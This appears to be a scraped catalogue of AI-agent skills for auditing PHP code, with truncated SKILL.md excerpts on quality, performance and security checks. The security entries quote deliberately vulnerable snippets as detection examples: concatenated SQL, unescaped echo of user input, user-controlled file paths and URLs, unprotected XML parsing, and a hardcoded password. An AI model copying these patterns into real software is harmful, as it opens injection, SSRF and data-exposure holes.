| 16-30 | ⚠<U+FE0F> Acceptable |
| 31-50 | 🟡 Long - consider splitting |
| 51+ | 🟠 Too long - must split |
## Detection PatternsView the complete source on GitHubcheck-naming
When your agent uses it
Analyzes PHP code for naming convention issues. Detects non-descriptive names, abbreviations, inconsistent casing, misleading names.
What it loads into context
Frontmatter
34 tokensAlways available to the agent
SKILL.md
1,402 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Naming Conventions Summary
- Severity Classification
- Output Format
Files
SKILL.mdcore5,531 bytesSKILL.mdcore5,531 bytesSKILL.mdcore5,531 bytesSKILL.mdcore5,531 bytesSKILL.mdcore5,531 bytesSKILL.mdcore5,531 bytesSKILL.mdcore5,531 bytesSKILL.mdcore5,531 bytesSKILL.mdcore5,531 bytesSKILL.mdcore5,531 bytesSKILL.mdcore5,531 bytesSKILL.mdcore5,531 bytes
Read SKILL.md
# Naming Convention Check
Analyze PHP code for naming quality and consistency.
## Detection Patterns
### 1. Non-Descriptive Names
```php
// BAD: Single letter variables (except loop counters)
$x = $user->getAge();
$d = new DateTime();
$r = $repository->find($id);
View the complete source on GitHubcheck-nesting-depth
When your agent uses it
Analyzes PHP code for nesting depth issues. Detects deep nesting over 3 levels, complex conditionals, early return opportunities.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
1,843 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Thresholds
- Detection Patterns
- Refactoring Techniques
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytes
Read SKILL.md
# Nesting Depth Check
Analyze PHP code for excessive nesting depth and complexity.
## Detection Thresholds
| Depth | Classification |
|-------|----------------|
| 1-2 | ✅ Ideal |
| 3 | ⚠<U+FE0F> Acceptable |
| 4 | 🟡 Deep - refactor recommended |
| 5+ | 🟠 Too deep - must refactor |
## Detection PatternsView the complete source on GitHubcheck-observability-coverage
When your agent uses it
Analyzes PHP code for observability gaps. Detects missing structured logging, absent correlation IDs, missing health endpoints, unstructured log calls, and missing OpenTelemetry setup.
What it loads into context
Frontmatter
46 tokensAlways available to the agent
SKILL.md
2,361 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore10,345 bytesSKILL.mdcore10,345 bytesSKILL.mdcore10,345 bytesSKILL.mdcore10,345 bytesSKILL.mdcore10,345 bytesSKILL.mdcore10,345 bytesSKILL.mdcore10,345 bytesSKILL.mdcore10,345 bytesSKILL.mdcore10,345 bytes
Read SKILL.md
# Observability Coverage Check
Analyze PHP code for observability gaps that hinder debugging, monitoring, and incident response in production.
## Detection Patterns
### 1. Unstructured Logging
```php
<?php
declare(strict_types=1);
// BAD: Raw error_log with unstructured outputView the complete source on GitHubcheck-output-encoding
When your agent uses it
Analyzes PHP code for output encoding issues. Detects XSS vulnerabilities, missing HTML encoding, raw output, template injection risks.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
1,336 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Encoding Functions
- Output Format
Files
SKILL.mdcore4,840 bytesSKILL.mdcore4,840 bytesSKILL.mdcore4,840 bytesSKILL.mdcore4,840 bytesSKILL.mdcore4,840 bytesSKILL.mdcore4,840 bytesSKILL.mdcore4,840 bytesSKILL.mdcore4,840 bytesSKILL.mdcore4,840 bytesSKILL.mdcore4,840 bytesSKILL.mdcore4,840 bytesSKILL.mdcore4,840 bytesSKILL.mdcore4,840 bytesSKILL.mdcore4,840 bytesSKILL.mdcore4,840 bytes
Read SKILL.md
# Output Encoding Security Check
Analyze PHP code for XSS and output encoding vulnerabilities.
## Detection Patterns
### 1. Missing HTML Encoding
```php
// CRITICAL: Direct echo of user input
echo $_GET['name'];
echo $user->getBio();
// CRITICAL: In HTML attributeView the complete source on GitHubcheck-path-traversal
When your agent uses it
Analyzes PHP code for path traversal vulnerabilities. Detects directory traversal, file inclusion with user input, missing path validation, symlink attacks.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
2,552 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Secure Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytesSKILL.mdcore9,966 bytes
Read SKILL.md
# Path Traversal Security Check
Analyze PHP code for path/directory traversal vulnerabilities (OWASP A01:2021).
## Detection Patterns
### 1. File Operations with User Input
```php
// CRITICAL: Direct path from user
$content = file_get_contents($_GET['file']);
$content = file_get_contents('/uploads/' . $_GET['filename']);
// CRITICAL: File readingView the complete source on GitHubcheck-pure-functions
When your agent uses it
Analyzes PHP code for pure function patterns. Detects side-effect-free methods, deterministic output, immutable inputs. Pure functions are easily testable.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
1,652 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Pure Function Characteristics
- Detection Patterns
- Pure Function Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore6,639 bytesSKILL.mdcore6,639 bytesSKILL.mdcore6,639 bytesSKILL.mdcore6,639 bytesSKILL.mdcore6,639 bytesSKILL.mdcore6,639 bytesSKILL.mdcore6,639 bytesSKILL.mdcore6,639 bytesSKILL.mdcore6,639 bytesSKILL.mdcore6,639 bytesSKILL.mdcore6,639 bytesSKILL.mdcore6,639 bytes
Read SKILL.md
# Pure Function Check
Analyze PHP code for pure function patterns that improve testability.
## Pure Function Characteristics
A **pure function**:
1. Returns the same output for the same input (deterministic)
2. Has no side effects
3. Doesn't depend on external state
## Detection Patterns
### 1. Non-Deterministic MethodsView the complete source on GitHubcheck-query-efficiency
When your agent uses it
Analyzes PHP code for query efficiency issues. Detects SELECT *, missing indexes hints, unnecessary joins, full table scans, suboptimal WHERE clauses.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
1,413 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Index Recommendations
- Severity Classification
- Output Format
Files
SKILL.mdcore5,415 bytesSKILL.mdcore5,415 bytesSKILL.mdcore5,415 bytesSKILL.mdcore5,415 bytesSKILL.mdcore5,415 bytesSKILL.mdcore5,415 bytesSKILL.mdcore5,415 bytesSKILL.mdcore5,415 bytesSKILL.mdcore5,415 bytesSKILL.mdcore5,415 bytesSKILL.mdcore5,415 bytesSKILL.mdcore5,415 bytes
Read SKILL.md
# Query Efficiency Analysis
Analyze PHP code for database query efficiency issues.
## Detection Patterns
### 1. SELECT * Usage
```php
// INEFFICIENT: Fetches all columns
$sql = "SELECT * FROM users WHERE id = ?";
$query = "SELECT * FROM orders JOIN products ON ...";
// EFFICIENT: Only needed columnsView the complete source on GitHubcheck-scalability-readiness
When your agent uses it
Analyzes PHP code for scalability issues. Detects file-based sessions, in-memory state, hardcoded hostnames, filesystem-dependent state, and missing stateless design patterns.
What it loads into context
Frontmatter
45 tokensAlways available to the agent
SKILL.md
2,170 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore9,070 bytesSKILL.mdcore9,070 bytesSKILL.mdcore9,070 bytesSKILL.mdcore9,070 bytesSKILL.mdcore9,070 bytesSKILL.mdcore9,070 bytesSKILL.mdcore9,070 bytesSKILL.mdcore9,070 bytesSKILL.mdcore9,070 bytesSKILL.mdcore9,070 bytesSKILL.mdcore9,070 bytes
Read SKILL.md
# Scalability Readiness Check
Analyze PHP code for patterns that prevent horizontal scaling, break in multi-instance deployments, or create single points of failure.
## Detection Patterns
### 1. File-Based Sessions
```php
<?php
declare(strict_types=1);
// BAD: Default file-based session storageView the complete source on GitHubcheck-secure-headers
When your agent uses it
Audits HTTP security headers configuration. Checks CSP, X-Frame-Options, HSTS, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, and cache control headers.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
1,410 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Required Headers Checklist
- Severity Classification
- Output Format
Files
SKILL.mdcore5,287 bytesSKILL.mdcore5,287 bytesSKILL.mdcore5,287 bytesSKILL.mdcore5,287 bytesSKILL.mdcore5,287 bytesSKILL.mdcore5,287 bytesSKILL.mdcore5,287 bytesSKILL.mdcore5,287 bytesSKILL.mdcore5,287 bytesSKILL.mdcore5,287 bytesSKILL.mdcore5,287 bytes
Read SKILL.md
# Secure Headers Audit (A05:2021)
Analyze PHP code for missing or misconfigured HTTP security headers.
## Detection Patterns
### 1. Missing Content-Security-Policy (CSP)
```php
// VULNERABLE: No CSP — allows XSS via inline scripts
class ResponseMiddleware
{
public function handle(Request $request, Response $response): Response
{View the complete source on GitHubcheck-sensitive-data
When your agent uses it
Analyzes PHP code for sensitive data exposure. Detects plaintext secrets, exposed credentials, PII in logs, insecure storage, hardcoded keys.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,531 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Sensitive Data Types
- Severity Classification
- Best Practices
- Output Format
Files
SKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytesSKILL.mdcore5,615 bytes
Read SKILL.md
# Sensitive Data Security Check
Analyze PHP code for sensitive data exposure vulnerabilities.
## Detection Patterns
### 1. Hardcoded Credentials
```php
// CRITICAL: Hardcoded password
$pdo = new PDO($dsn, 'admin', 'SuperSecret123!');
// CRITICAL: API key in code
[Credential-related source omitted]View the complete source on GitHubcheck-serialization
When your agent uses it
Analyzes PHP code for serialization overhead. Detects inefficient JSON encoding, large object hydration, missing JsonSerializable, circular reference issues.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
1,937 tokensWhen the skill is activated
Reference documents
982 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- References
- Severity Classification
- Output Format
Files
SKILL.mdcore7,609 bytesSKILL.mdcore7,609 bytesSKILL.mdcore7,609 bytesSKILL.mdcore7,609 bytesSKILL.mdcore7,609 bytesSKILL.mdcore7,609 bytesSKILL.mdcore7,609 bytesSKILL.mdcore7,609 bytesSKILL.mdcore7,609 bytesSKILL.mdcore7,609 bytesSKILL.mdcore7,609 bytesSKILL.mdcore7,609 bytesSKILL.mdcore7,609 bytesSKILL.mdcore7,609 bytesreferences/examples.mddoc4,128 bytes
Read SKILL.md
# Serialization Performance Analysis
Analyze PHP code for serialization/deserialization performance issues.
## Detection Patterns
### 1. Large Object Serialization
```php
// PROBLEMATIC: Serializing entire entity with relations
$users = $this->userRepository->findAll();
return json_encode($users); // Includes all properties, relations, metadata
// PROBLEMATIC: Full Doctrine entity serializationView the complete source on GitHubcheck-side-effects
When your agent uses it
Analyzes PHP code for side effect issues. Detects state mutation, global access, static method calls, I/O operations mixed with business logic.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,719 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Side Effect Types
- Detection Patterns
- Grep Patterns
- Severity Classification
- Refactoring Strategies
- Output Format
Files
SKILL.mdcore6,737 bytesSKILL.mdcore6,737 bytesSKILL.mdcore6,737 bytesSKILL.mdcore6,737 bytesSKILL.mdcore6,737 bytesSKILL.mdcore6,737 bytesSKILL.mdcore6,737 bytesSKILL.mdcore6,737 bytesSKILL.mdcore6,737 bytesSKILL.mdcore6,737 bytesSKILL.mdcore6,737 bytesSKILL.mdcore6,737 bytesSKILL.mdcore6,737 bytes
Read SKILL.md
# Side Effect Check
Analyze PHP code for side effects that reduce testability.
## Side Effect Types
1. **State mutation** — Changing object/array state
2. **Global access** — Reading/writing global variables
3. **I/O operations** — File, network, database
4. **Output** — echo, print, header
5. **External service calls** — API, queue, cache
## Detection Patterns
View the complete source on GitHubcheck-singleton-antipattern
When your agent uses it
Detects Singleton anti-pattern in PHP code. Identifies global state via static instances, hidden dependencies, tight coupling, and testability issues.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
1,310 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Correct Alternatives
- Output Format
Files
SKILL.mdcore5,816 bytesSKILL.mdcore5,816 bytesSKILL.mdcore5,816 bytesSKILL.mdcore5,816 bytesSKILL.mdcore5,816 bytesSKILL.mdcore5,816 bytesSKILL.mdcore5,816 bytesSKILL.mdcore5,816 bytesSKILL.mdcore5,816 bytesSKILL.mdcore5,816 bytesSKILL.mdcore5,816 bytes
Read SKILL.md
# Singleton Anti-Pattern Detection
Analyze PHP code for Singleton anti-pattern usage that introduces global state and tight coupling.
## Detection Patterns
### 1. Classic Singleton Implementation
```php
// ANTIPATTERN: Static instance with private constructor
final class DatabaseConnection
{
private static ?self $instance = null;
View the complete source on GitHubcheck-sql-injection
When your agent uses it
Analyzes PHP code for SQL injection vulnerabilities. Detects query concatenation, ORM misuse, raw queries, dynamic identifiers, prepared statement bypasses.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
1,847 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Secure Patterns
- Output Format
Files
SKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytes
Read SKILL.md
# SQL Injection Security Check
Analyze PHP code for SQL injection vulnerabilities.
## Detection Patterns
### 1. String Concatenation in Queries
```php
// CRITICAL: Direct concatenation
$sql = "SELECT * FROM users WHERE id = " . $id;
$sql = "SELECT * FROM users WHERE email = '" . $email . "'";
$sql = "DELETE FROM posts WHERE id = $id";
View the complete source on GitHubcheck-ssrf
When your agent uses it
Analyzes PHP code for SSRF vulnerabilities. Detects unvalidated URLs, internal network access, DNS rebinding, cloud metadata access, URL parsing bypass attempts.
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
2,046 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Validation Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore7,566 bytesSKILL.mdcore7,566 bytesSKILL.mdcore7,566 bytesSKILL.mdcore7,566 bytesSKILL.mdcore7,566 bytesSKILL.mdcore7,566 bytesSKILL.mdcore7,566 bytesSKILL.mdcore7,566 bytesSKILL.mdcore7,566 bytesSKILL.mdcore7,566 bytesSKILL.mdcore7,566 bytesSKILL.mdcore7,566 bytesSKILL.mdcore7,566 bytesSKILL.mdcore7,566 bytesSKILL.mdcore7,566 bytesSKILL.mdcore7,566 bytes
Read SKILL.md
# SSRF (Server-Side Request Forgery) Security Check
Analyze PHP code for SSRF vulnerabilities (OWASP A10:2021).
## Detection Patterns
### 1. User-Controlled URLs
```php
// CRITICAL: Direct URL from user input
$url = $_GET['url'];
$content = file_get_contents($url);
// CRITICAL: Request URL from parameterView the complete source on GitHubcheck-test-quality
When your agent uses it
Analyzes PHP test code quality. Checks test structure, assertion quality, test isolation, naming conventions, AAA pattern adherence.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
2,083 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quality Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore7,967 bytesSKILL.mdcore7,967 bytesSKILL.mdcore7,967 bytesSKILL.mdcore7,967 bytesSKILL.mdcore7,967 bytesSKILL.mdcore7,967 bytesSKILL.mdcore7,967 bytesSKILL.mdcore7,967 bytesSKILL.mdcore7,967 bytesSKILL.mdcore7,967 bytesSKILL.mdcore7,967 bytesSKILL.mdcore7,967 bytes
Read SKILL.md
# Test Quality Check
Analyze PHP test code for quality and best practices.
## Quality Patterns
### 1. Test Structure (AAA Pattern)
```php
// BAD: Mixed arrange/act/assert
public function testOrderTotal(): void
{
$order = new Order();
$this->assertEquals(0, $order->getTotal());View the complete source on GitHubcheck-timeout-strategy
When your agent uses it
Audits timeout configuration across HTTP clients, database connections, queue consumers, cache operations, and external service calls. Detects missing or misconfigured timeouts.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,376 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Timeout Strategy Matrix
- Output Format
Files
SKILL.mdcore5,162 bytesSKILL.mdcore5,162 bytesSKILL.mdcore5,162 bytesSKILL.mdcore5,162 bytesSKILL.mdcore5,162 bytesSKILL.mdcore5,162 bytesSKILL.mdcore5,162 bytesSKILL.mdcore5,162 bytesSKILL.mdcore5,162 bytesSKILL.mdcore5,162 bytes
Read SKILL.md
# Timeout Strategy Audit
Analyze PHP code for missing or misconfigured timeout strategies across all I/O boundaries.
## Detection Patterns
### 1. HTTP Client Without Timeout
```php
// CRITICAL: No timeout configured
$client = new GuzzleHttp\Client();
$response = $client->get('https://api.external.com/data');
// CRITICAL: Infinite timeoutView the complete source on GitHubcheck-type-juggling
When your agent uses it
Detects PHP type juggling vulnerabilities. Identifies loose comparison with user input, in_array without strict mode, switch statement type coercion, and hash comparison bypasses.
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
2,288 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- PHP Type Juggling Reference
- Output Format
Files
SKILL.mdcore8,058 bytesSKILL.mdcore8,058 bytesSKILL.mdcore8,058 bytesSKILL.mdcore8,058 bytesSKILL.mdcore8,058 bytesSKILL.mdcore8,058 bytesSKILL.mdcore8,058 bytesSKILL.mdcore8,058 bytesSKILL.mdcore8,058 bytesSKILL.mdcore8,058 bytesSKILL.mdcore8,058 bytes
Read SKILL.md
# Type Juggling Security Check (A03:2021)
Analyze PHP code for type juggling vulnerabilities exploiting PHP's loose comparison behavior.
**PHP version baseline: 8.4.** PHP 8.0 changed number-to-string comparison
([Saner string to number comparisons](https://wiki.php.net/rfc/string_to_number_comparison)):
an int compared with a *non-numeric* string is now compared **as a string**, so `0 == 'admin'`
is `false`. Do not report the pre-8.0 bypass. What survives is listed below — bools, numeric
strings, `null`, and `false`-returning functions.
## Detection Patterns
### 1. Loose Comparison with User Input
View the complete source on GitHubcheck-version-consistency
When your agent uses it
Audits version consistency across project files. Checks composer.json, README, CHANGELOG, docs, and configuration files for version number synchronization.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
1,135 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Verification Process
- Files to Check
- Severity Classification
- Output Format
Files
SKILL.mdcore4,058 bytesSKILL.mdcore4,058 bytesSKILL.mdcore4,058 bytesSKILL.mdcore4,058 bytesSKILL.mdcore4,058 bytesSKILL.mdcore4,058 bytes
Read SKILL.md
# Version Consistency Audit
Analyze project files for version number synchronization across all locations where version is referenced.
## Detection Patterns
### 1. composer.json vs README Version Mismatch
```json
// composer.json says:
{ "version": "2.10.0" }
```
```markdownView the complete source on GitHubcheck-xxe
When your agent uses it
Analyzes PHP code for XML External Entity vulnerabilities. Detects unsafe XML parsers, missing entity protection, LIBXML flags issues, XSLT attacks.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
2,477 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- XXE Attack Payloads (for reference)
- Grep Patterns
- Secure Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytesSKILL.mdcore9,189 bytes
Read SKILL.md
# XXE (XML External Entity) Security Check
Analyze PHP code for XXE vulnerabilities (OWASP A03:2021).
## Detection Patterns
### 1. SimpleXML without Protection
```php
// CRITICAL: User input directly to simplexml
$xml = simplexml_load_string($_POST['xml']);
$xml = simplexml_load_file($_FILES['upload']['tmp_name']);
// CRITICAL: Default options allow entitiesView the complete source on GitHubci-pipeline-knowledge
When your agent uses it
CI/CD pipeline knowledge base. Provides platforms overview (GitHub Actions, GitLab CI), pipeline stages, caching strategies, parallelization, artifact management, and environment management.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
2,345 tokensWhen the skill is activated
Reference documents
11,869 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Pipeline Stages
- Platform Comparison
- GitHub Actions Structure
- GitLab CI Structure
- Caching Strategies
- Parallelization Patterns
- Environment Management
- Artifact Management
- Pipeline Optimization Checklist
- Common Pipeline Patterns
- Best Practices
- References
Files
SKILL.mdcore8,899 bytesSKILL.mdcore8,899 bytesreferences/caching.mddoc14,297 bytesreferences/github-actions.mddoc13,961 bytesreferences/gitlab-ci.mddoc15,066 bytes
Read SKILL.md
# CI/CD Pipeline Knowledge Base
Quick reference for CI/CD pipeline patterns, platforms, and best practices.
## Pipeline Stages
```
┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Install │───▶│ Lint │───▶│ Test │───▶│ Build │───▶│ Deploy │
└─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘
Deps Code Style PHPUnit Docker Production
Cache PHPStan Coverage Artifacts Environments
```
View the complete source on GitHubci-tools-knowledge
When your agent uses it
PHP CI tools knowledge base. Provides PHPStan levels and configuration, Psalm integration, PHP-CS-Fixer rules, DEPTRAC layer analysis, Rector automated refactoring, and code coverage tools.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
2,673 tokensWhen the skill is activated
Reference documents
11,215 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- PHPStan
- Psalm
- PHP-CS-Fixer
- DEPTRAC
- Rector
- Code Coverage Tools
- Infection (Mutation Testing)
- Tool Comparison Matrix
- Recommended CI Setup
- References
Files
SKILL.mdcore10,295 bytesSKILL.mdcore10,295 bytesSKILL.mdcore10,295 bytesSKILL.mdcore10,295 bytesSKILL.mdcore10,295 bytesSKILL.mdcore10,295 bytesSKILL.mdcore10,295 bytesSKILL.mdcore10,295 bytesSKILL.mdcore10,295 bytesSKILL.mdcore10,295 bytesSKILL.mdcore10,295 bytesreferences/phpstan-rules.mddoc13,688 bytesreferences/psalm-plugins.mddoc15,408 bytesreferences/rector-rules.mddoc17,013 bytes
Read SKILL.md
# PHP CI Tools Knowledge Base
Quick reference for PHP static analysis, code quality, and testing tools.
## PHPStan
### Levels Overview
| Level | Description | Use Case |
|-------|-------------|----------|
| 0 | Basic checks (undefined variables, classes) | Legacy projects, quick start |
| 1 | + Undefined methods, properties | Minimal safety |
| 2 | + Unknown methods on `$this` | Medium safety |
| 3 | + Return types | Recommended minimum |View the complete source on GitHubclaude-code-knowledge
When your agent uses it
Comprehensive knowledge base for Claude Code formats, patterns, and configuration. Use when creating, improving, or auditing commands, agents, skills, hooks, memory, plugins, or settings.
What it loads into context
Frontmatter
46 tokensAlways available to the agent
SKILL.md
4,103 tokensWhen the skill is activated
Reference documents
11,269 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Component Types Overview
- Commands
- Agents (Subagents)
- Skills
- Hooks
- Memory & CLAUDE.md
- Plugins
- Permissions
- MCP (Model Context Protocol)
- Settings
- Decision Framework
- Patterns
- Validation Checklists
- Reference Files
Files
SKILL.mdcore16,269 bytesreferences/hooks-reference.mddoc9,103 bytesreferences/memory-and-rules.mddoc6,827 bytesreferences/plugins-reference.mddoc6,836 bytesreferences/settings-and-permissions.mddoc8,699 bytesreferences/skills-advanced.mddoc6,034 bytesreferences/subagents-advanced.mddoc6,797 bytes
Read SKILL.md
# Claude Code Knowledge Base
## Component Types Overview
| Type | Path | Invocation | Context Cost |
|------|------|------------|--------------|
| Command | `.claude/commands/name.md` | `/name args` | Loaded on invocation |
| Agent | `.claude/agents/name.md` | `Task(subagent_type)` | Loaded into subagent context |
| Skill | `.claude/skills/name/SKILL.md` | Auto or `/name` | Loaded by description match |
| Hook | `.claude/settings.json` | Automatic on event | Zero (shell script) |
| Rules | `.claude/rules/*.md` | Auto-loaded always | Always in system prompt |
| Memory | `CLAUDE.md` (various levels) | Auto-loaded always | Always in system prompt |
---View the complete source on GitHubclean-arch-knowledge
When your agent uses it
Clean Architecture knowledge base. Provides patterns, antipatterns, and PHP-specific guidelines for Clean Architecture and Hexagonal Architecture audits.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
1,460 tokensWhen the skill is activated
Reference documents
11,809 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Quick Checklists
- Common Violations Quick Reference
- PHP 8.4 Clean Architecture Patterns
- References
Files
SKILL.mdcore8,575 bytesSKILL.mdcore8,575 bytesSKILL.mdcore8,575 bytesSKILL.mdcore8,575 bytesSKILL.mdcore8,575 bytesreferences/antipatterns.mddoc15,736 bytesreferences/dependency-rule.mddoc8,910 bytesreferences/layer-boundaries.mddoc15,349 bytesreferences/port-adapter-patterns.mddoc15,874 bytes
Read SKILL.md
# Clean Architecture Knowledge Base
Quick reference for Clean Architecture / Hexagonal Architecture patterns and PHP implementation guidelines.
## Core Principles
### The Dependency Rule
```
┌────────────────────────────────────────────────────────────────┐
│ FRAMEWORKS & DRIVERS │
│ (Web, UI, DB, External Services, Devices) │
├────────────────────────────────────────────────────────────────┤
│ INTERFACE ADAPTERS │View the complete source on GitHubcloud-native-knowledge
When your agent uses it
Cloud Native knowledge base. Provides 12-Factor App principles with PHP-specific implementations, container-first patterns, and environment configuration for architecture audits.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
4,009 tokensWhen the skill is activated
Reference documents
2,807 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 12-Factor App Overview
- The 12 Factors
- Factor Details with PHP Examples
- PHP Violations Table
- Container-First PHP Patterns
